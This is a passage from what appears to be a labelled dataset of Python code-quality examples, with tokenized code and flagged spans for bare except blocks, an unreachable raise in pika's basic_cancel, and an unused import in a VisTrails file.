\"\"\"\n Running coverage in process mode doesn't crash\n \"\"\"\n try:\n import coverage; coverage\n except:\n self.skipTest(\"Coverage needs to be installed for this test\")\n sub_tmpdir = tempfile.mkdtemp(dir=self.tmpdir)\n # pkg/__init__.py\n fh = open(os.path.join(sub_tmpdir, '__init__.py'), 'w')\n fh.write('\\n')\n fh.close()\n fh = open(os.path.join(sub_tmpdir, 'test_coverage.py'), 'w')\n fh.write(dedent(\n \"\"\"\n import unittest\n class A(unittest.TestCase):\n def testPasses(self):\n pass\"\"\"))\n fh.close()\n # Load the tests\n os.chdir(self.tmpdir)\n tests = loadTargets('.')\n self.args.processes = 2\n self.args.run_coverage = True\n self.args.cov = MagicMock()\n run(tests, self.stream, self.args, testing=True)\n os.chdir(TestProcesses.startdir)\n self.assertIn('OK', self.stream.getvalue())", "metadata": "root.TestProcesses.test_runCoverage", "header": "['class', 'TestProcesses', '(', 'unittest', '.', 'TestCase', ')', ':', '___NEWLINE___', '___NL___', '# Setup', '___NL___', '___EOS___']", "index": 409 } ]
[ { "span": "except:", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 7 }, { "span": "except:", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 7 }, { "span": "except:", "start_line": 34, "start_column": 0, "end_line": 34, "end_column": 7 }, { "span": "except:", "start_line": 415, "start_column": 8, "end_line": 415, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "unicode", "\\u", "literals_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "platform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "shutil_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "signal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tempfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "textwrap_", "import_", "dedent_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "weakref_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "green_", "._", "config_", "import_", "default", "\\u", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "green_", "._", "exceptions_", "import_", "Initializer", "Or", "Finali", "zer", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "green_", "._", "loader_", "import_", "load", "Targets_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "green_", "._", "output_", "import_", "Green", "Stream_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "green_", "._", "runner_", "import_", "Initializer", "Or", "Finali", "zer_", ",_", "run_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "green_", "._", "suite_", "import_", "Green", "Test", "Suite_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "unittest_", "._", "mock_", "import_", "Mag", "ic", "Mock_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "mock_", "import_", "Mag", "ic", "Mock_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "io_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "String", "IO_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "global_", "skip", "\\u", "testtools_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "skip", "\\u", "testtools_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "testtools_", ";_", "testtools_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "skip", "\\u", "testtools_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--", " ", "Help", "er", " ", "stu", "ff", " ", "---", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "global_", "importa", "ble", "\\u", "function", "\\u", "worked", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "importa", "ble", "\\u", "function", "\\u", "worked", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "non", "\\u", "callable_", "=_", "None_", "#", " ", "Us", "ed", " ", "by", " ", "Test", "Initializer", "Or", "Finali", "zer", ".", "test\\u", "not", "\\u", "calla", "ble", "()", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--", " ", "End", " ", "of", " ", "help", "er", " ", "stuff_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "class_", "Test", "Processe", "s_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Setup_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "run", "Coverage", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Run", "ning", " ", "covera", "ge", " ", "in", " ", "process", " ", "mode", " ", "doe", "sn", "'", "t", " ", "crash", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "coverage_", ";_", "coverage_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "skip", "Test_", "(_", "\"", "Coverage", " ", "need", "s", " ", "to", " ", "be", " ", "install", "ed", " ", "for", " ", "this", " ", "test", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sub\\u", "tmpdir_", "=_", "tempfile_", "._", "mkdtemp_", "(_", "dir_", "=_", "self_", "._", "tmpdir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "pkg", "/\\u", "\\u", "init", "\\u\\u", ".", "py_", "\\u\\u\\uNL\\u\\u\\u_", "fh_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "sub\\u", "tmpdir_", ",_", "'\\u", "\\u", "init", "\\u\\u", ".", "py", "'_", ")_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fh_", "._", "write_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fh_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fh_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "sub\\u", "tmpdir_", ",_", "'", "test\\u", "covera", "ge", ".", "py", "'_", ")_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fh_", "._", "write_", "(_", "dedent_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "import", " ", "unittest", "\\", "10", ";", " ", " ", " ", " ", "class", " ", "A", "(", "unittest", ".", "Test", "Case", "):", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "test", "Passe", "s", "(", "self", "):", "\\", "10", ";", " ", " ", "pass", "\"\"\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fh_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Load", " ", "the", " ", "tests_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "chdir_", "(_", "self_", "._", "tmpdir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tests_", "=_", "load", "Targets_", "(_", "'.'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "args_", "._", "processes_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "args_", "._", "run", "\\u", "coverage_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "args_", "._", "cov_", "=_", "Mag", "ic", "Mock_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run_", "(_", "tests_", ",_", "self_", "._", "stream_", ",_", "self_", "._", "args_", ",_", "testing_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "chdir_", "(_", "Test", "Processe", "s_", "._", "startd", "ir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "OK", "'_", ",_", "self_", "._", "stream_", "._", "getvalue_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unreachable code
pika/pika/pika/channel.py
[ { "content": " def basic_cancel(self, callback=None, consumer_tag='', nowait=False):\n \"\"\"This method cancels a consumer. This does not affect already\n delivered messages, but it does mean the server will not send any more\n messages for that consumer. The client may receive an arbitrary number\n of messages in between sending the cancel method and receiving the\n cancel-ok reply. It may also be sent from the server to the client in\n the event of the consumer being unexpectedly cancelled (i.e. cancelled\n for any reason other than the server receiving the corresponding\n basic.cancel from the client). This allows clients to be notified of\n the loss of consumers due to events such as queue deletion.\n\n :param callable callback: Callback to call for a Basic.CancelOk\n response; MUST be None when nowait=True. MUST be callable when\n nowait=False.\n :param str consumer_tag: Identifier for the consumer\n :param bool nowait: Do not expect a Basic.CancelOk response\n\n :raises ValueError:\n\n \"\"\"\n self._validate_channel_and_callback(callback)\n\n if nowait:\n if callback is not None:\n raise ValueError(\n 'Completion callback must be None when nowait=True')\n else:\n if callback is None:\n raise ValueError(\n 'Must have completion callback with nowait=False')\n\n if consumer_tag in self._cancelled:\n # We check for cancelled first, because basic_cancel removes\n # consumers closed with nowait from self._consumers\n LOGGER.warning('basic_cancel - consumer is already cancelling: %s',\n consumer_tag)\n return\n\n if consumer_tag not in self._consumers:\n # Could be cancelled by user or broker earlier\n LOGGER.warning('basic_cancel - consumer not found: %s',\n consumer_tag)\n return\n\n LOGGER.debug('Cancelling consumer: %s (nowait=%s)',\n consumer_tag, nowait)\n\n if nowait:\n # This is our last opportunity while the channel is open to remove\n # this consumer callback and help gc; unfortunately, this consumer's\n # self._cancelled and self._consumers_with_noack (if any) entries\n # will persist until the channel is closed.\n del self._consumers[consumer_tag]\n\n if callback is not None:\n if nowait:\n raise ValueError('Cannot pass a callback if nowait is True')\n self.callbacks.add(self.channel_number, spec.Basic.CancelOk,\n callback)\n\n self._cancelled.add(consumer_tag)\n\n self._rpc(spec.Basic.Cancel(consumer_tag=consumer_tag, nowait=nowait),\n self._on_cancelok if not nowait else None,\n [(spec.Basic.CancelOk, {'consumer_tag': consumer_tag})] if\n nowait is False else [])", "metadata": "root.Channel.basic_cancel", "header": "['class', 'Channel', '(', 'object', ')', ':', '___EOS___']", "index": 201 } ]
[ { "span": "raise ValueError('Cannot pass a callback if nowait is True')", "start_line": 257, "start_column": 16, "end_line": 257, "end_column": 76 } ]
[]
1
true
[ "[CLS]_", "Unrea", "chab", "le_", "code_", "[SEP]_", "class_", "Channel_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "basic", "\\u", "cancel_", "(_", "self_", ",_", "callback_", "=_", "None_", ",_", "consume", "r", "\\u", "tag_", "=_", "''_", ",_", "nowait_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Thi", "s", " ", "method", " ", "cancel", "s", " ", "a", " ", "consume", "r", ".", " ", "Thi", "s", " ", "doe", "s", " ", "not", " ", "affect", " ", "alr", "ead", "y", "\\", "10", ";", " ", " ", " ", " ", "deliver", "ed", " ", "message", "s", ",", " ", "but", " ", "it", " ", "doe", "s", " ", "mean", " ", "the", " ", "server", " ", "will", " ", "not", " ", "send", " ", "any", " ", "more", "\\", "10", ";", " ", " ", " ", " ", "message", "s", " ", "for", " ", "tha", "t", " ", "consume", "r", ".", " ", "The", " ", "client", " ", "may", " ", "receive", " ", "an", " ", "arbitra", "ry", " ", "number", "\\", "10", ";", " ", " ", " ", " ", "of", " ", "message", "s", " ", "in", " ", "bet", "ween", " ", "sendin", "g", " ", "the", " ", "cancel", " ", "method", " ", "and", " ", "receiv", "ing", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "cancel", "-", "ok", " ", "repl", "y", ".", " ", "It", " ", "may", " ", "als", "o", " ", "be", " ", "sent", " ", "from", " ", "the", " ", "server", " ", "to", " ", "the", " ", "client", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "event", " ", "of", " ", "the", " ", "consume", "r", " ", "bei", "ng", " ", "unexpected", "ly", " ", "cancel", "led", " ", "(", "i", ".", "e", ".", " ", "cancel", "led", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "any", " ", "reason", " ", "other", " ", "than", " ", "the", " ", "server", " ", "receiv", "ing", " ", "the", " ", "correspond", "ing", "\\", "10", ";", " ", " ", " ", " ", "basic", ".", "cancel", " ", "from", " ", "the", " ", "client", ").", " ", "Thi", "s", " ", "allow", "s", " ", "clients", " ", "to", " ", "be", " ", "notified", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "loss", " ", "of", " ", "consumers", " ", "due", " ", "to", " ", "events", " ", "suc", "h", " ", "as", " ", "queue", " ", "deletion", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "calla", "ble", " ", "callback", ":", " ", "Call", "back", " ", "to", " ", "call", " ", "for", " ", "a", " ", "Basic", ".", "Cancel", "Ok", "\\", "10", ";", " ", " ", " ", " ", "response", ";", " ", "MUS", "T", " ", "be", " ", "Non", "e", " ", "whe", "n", " ", "now", "ait", "=", "Tru", "e", ".", " ", "MUS", "T", " ", "be", " ", "calla", "ble", " ", "whe", "n", "\\", "10", ";", " ", " ", " ", " ", "now", "ait", "=", "Fal", "se", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "str", " ", "consume", "r", "\\u", "tag", ":", " ", "Identifie", "r", " ", "for", " ", "the", " ", "consume", "r", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "bool", " ", "now", "ait", ":", " ", "Do", " ", "not", " ", "expect", " ", "a", " ", "Basic", ".", "Cancel", "Ok", " ", "response", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "raise", "s", " ", "Value", "Error", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "validat", "e\\u", "channel", "\\u", "and", "\\u", "callback_", "(_", "callback_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "nowait_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "callback_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Completi", "on", " ", "callback", " ", "must", " ", "be", " ", "Non", "e", " ", "whe", "n", " ", "now", "ait", "=", "Tru", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "callback_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Mus", "t", " ", "have", " ", "completion", " ", "callback", " ", "with", " ", "now", "ait", "=", "Fal", "se", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "consume", "r", "\\u", "tag_", "in_", "self_", "._", "\\u", "cancelled_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "check", " ", "for", " ", "cancel", "led", " ", "first", ",", " ", "bec", "aus", "e", " ", "basic", "\\u", "cancel", " ", "remove", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "consumers", " ", "close", "d", " ", "with", " ", "now", "ait", " ", "from", " ", "self", ".\\u", "consumers", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "LOGGER_", "._", "warning_", "(_", "'", "basic", "\\u", "cancel", " ", "-", " ", "consume", "r", " ", "is", " ", "alr", "ead", "y", " ", "cancel", "ling", ":", " ", "%", "s", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "consume", "r", "\\u", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "consume", "r", "\\u", "tag_", "not_", "in_", "self_", "._", "\\u", "consumers", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Cou", "ld", " ", "be", " ", "cancel", "led", " ", "by", " ", "user", " ", "or", " ", "broker", " ", "ear", "lie", "r_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "LOGGER_", "._", "warning_", "(_", "'", "basic", "\\u", "cancel", " ", "-", " ", "consume", "r", " ", "not", " ", "found", ":", " ", "%", "s", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "consume", "r", "\\u", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "LOGGER_", "._", "debug_", "(_", "'", "Cancel", "ling", " ", "consume", "r", ":", " ", "%", "s", " ", "(", "now", "ait", "=", "%", "s", ")'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "consume", "r", "\\u", "tag_", ",_", "nowait_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "nowait_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "our", " ", "last", " ", "opportunit", "y", " ", "whi", "le", " ", "the", " ", "channel", " ", "is", " ", "open", " ", "to", " ", "remove_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "consume", "r", " ", "callback", " ", "and", " ", "help", " ", "gc", ";", " ", "unfo", "rtu", "nat", "el", "y", ",", " ", "this", " ", "consume", "r", "'", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "self", ".\\u", "cancel", "led", " ", "and", " ", "self", ".\\u", "consumers", "\\u", "with", "\\u", "noa", "ck", " ", "(", "if", " ", "any", ")", " ", "entries_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "will", " ", "persist", " ", "unti", "l", " ", "the", " ", "channel", " ", "is", " ", "close", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "self_", "._", "\\u", "consumers", "_", "[_", "consume", "r", "\\u", "tag_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "callback_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "nowait_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "Cann", "ot", " ", "pass", " ", "a", " ", "callback", " ", "if", " ", "now", "ait", " ", "is", " ", "Tru", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "callbacks_", "._", "add_", "(_", "self_", "._", "channel", "\\u", "number_", ",_", "spec_", "._", "Basic_", "._", "Cancel", "Ok_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "callback_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "cancelled_", "._", "add_", "(_", "consume", "r", "\\u", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "rpc_", "(_", "spec_", "._", "Basic_", "._", "Cancel_", "(_", "consume", "r", "\\u", "tag_", "=_", "consume", "r", "\\u", "tag_", ",_", "nowait_", "=_", "nowait_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "on", "\\u", "cancel", "ok_", "if_", "not_", "nowait_", "else_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "(_", "spec_", "._", "Basic_", "._", "Cancel", "Ok_", ",_", "{_", "'", "consume", "r", "\\u", "tag", "'_", ":_", "consume", "r", "\\u", "tag_", "}_", ")_", "]_", "if_", "\\u\\u\\uNL\\u\\u\\u_", "nowait_", "is_", "False_", "else_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
VisTrails/VisTrails/contrib/itk/SegmentationFilters.py
[ { "content": "#############################################################################\n##\n## Copyright (C) 2006-2007 University of Utah. All rights reserved.\n##\n## This file is part of VisTrails.\n##\n## This file may be used under the terms of the GNU General Public\n## License version 2.0 as published by the Free Software Foundation\n## and appearing in the file LICENSE.GPL included in the packaging of\n## this file. Please review the following to ensure GNU General Public\n## Licensing requirements will be met:\n## http://www.opensource.org/licenses/gpl-license.php\n##\n## If you are unsure which license is appropriate for your use (for\n## instance, you are interested in developing a commercial derivative\n## of VisTrails), please contact us at [email protected].\n##\n## This file is provided AS IS with NO WARRANTY OF ANY KIND, 